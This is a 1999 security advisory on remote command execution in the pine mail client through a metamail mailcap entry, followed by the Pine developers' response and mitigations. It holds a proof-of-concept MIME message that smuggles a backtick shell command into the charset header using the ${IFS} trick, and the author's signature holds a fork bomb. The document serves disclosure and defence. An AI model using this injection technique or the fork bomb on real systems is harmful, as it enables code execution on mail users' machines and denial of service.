[ http://www.rootshell.com/ ]

(NOTE: See the bottom of this message for the official response from the
Pine maintainers.)

Date: Mon, 8 Feb 1999 00:22:17 +0100
From: Michal Zalewski <lcamtuf@IDS.PL>
Subject: remote exploit on pine 4.10 - neverending story?

Affected systems:
-----------------

  Any Un*x system running 'pine' up to version 4.10 (latest).

Compromise:
-----------

  Remote execution of arbitrary code when message is viewed.

Details:
--------

  About five months ago, I reported vunerability in metamail package used
  with pine. I also noticed that '`' character is incorrectly expanded by
  pine. Problem has been ignored (probably noone understood what I am
  talking about?;-). But no matter. An exception from /etc/mailcap:

  text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
  '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput

Impact:
-------

  And now, ladies and gentelmen - my old bug, reinvented. Usually, above
  mailcap line is expanded to:

  [...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
        '[a-z]'`" = iso-8859-1)

  Hmm, but take a look at this message:

************************** MIME MESSAGE FOLLOWS **************************
>From: Attacker <attacker@eleet.net>
To: Victim <victim@somewhere.net>
Subject: Happy birthday
...
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset='US-ASCII'

Make a wish...

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
Content-Transfer-Encoding: BASE64
Content-Description: wish
Content-Disposition: attachment; filename="wish.c"

...it could be your last.
*************************** MIME MESSAGE ENDS ***************************

 The result is:

  [...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
        '[A-Z]' '[a-z]'`" = iso-8859-1)

  ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
  executed when message is viewed.

Fix:
----

  Well, it's the second time I report problems with ` in headers.
  Maybe pine developers should wait a little longer ;-)

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM]
[lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

-----------------------------------------------------------------------------------

Pine Development Team (pine@CAC.WASHINGTON.EDU)

Many of you have inquired about a recent widely-distributed message
describing a "remote exploit in pine", specifically, a "vunerability in
metamail package used with pine" and a claim that the '`' character "is
incorrectly expanded by pine".

We believe the following to be true:

 o There is indeed a vulnerability in the default *mailcap* file
   distributed with the popular metamail MIME-support package.

 o This same mailcap file has in the past been included in Pine
   distributions as a sample; however, this sample file is not used by
   Pine unless it is manually installed and renamed.

 o While the metamail package *can* be used with Pine, Pine does not
   *require* the installation of metamail.

 o If a site chooses to install metamail, they should definitely expunge
   the dangerous entries from the default mailcap file.  Such a corrected
   mailcap file is attached.

 o If correcting the system mailcap file is not immediately possible,
   users may wish to set Pine's "mailcap-search-path" variable to a
   personal mailcap file path.  (See Pine's Main/Setup/Config screen.)

 o Everyone should beware of offered workarounds in the form of Pine
   patches that simply insert the shell-escape character before any
   substituted back-quotes, as this only results in moving the problem
   down one level of shell-nesting.

 o PC-Pine users are not vulnerable to these dangerous mailcap entries.

We do not agree that the '`' character "is incorrectly expanded by pine".
Rather, we believe that Pine correctly implements RFC-1524.  However, it
is possible to modify Pine to preclude mailcap parameter substitution and
thereby avoid mailcap risks at sites where faulty mailcap files may be
installed.  A patch to do this is attached.  Obviously, this patch will
also break any legitimate mailcap entries that depend on parameter
substitution.

While one could modify Pine to guard against the particular exploit
permitted by the mailcap entries in question, it is very difficult to
conceive of a truly safe "paranoid mode" other than disabling parameter
substitution entirely.  However, we suspect most people will find it far
easier to remove any unsafe entries from their mailcap configuration file.

Sincerely,

 Pine Development Team
  University of Washington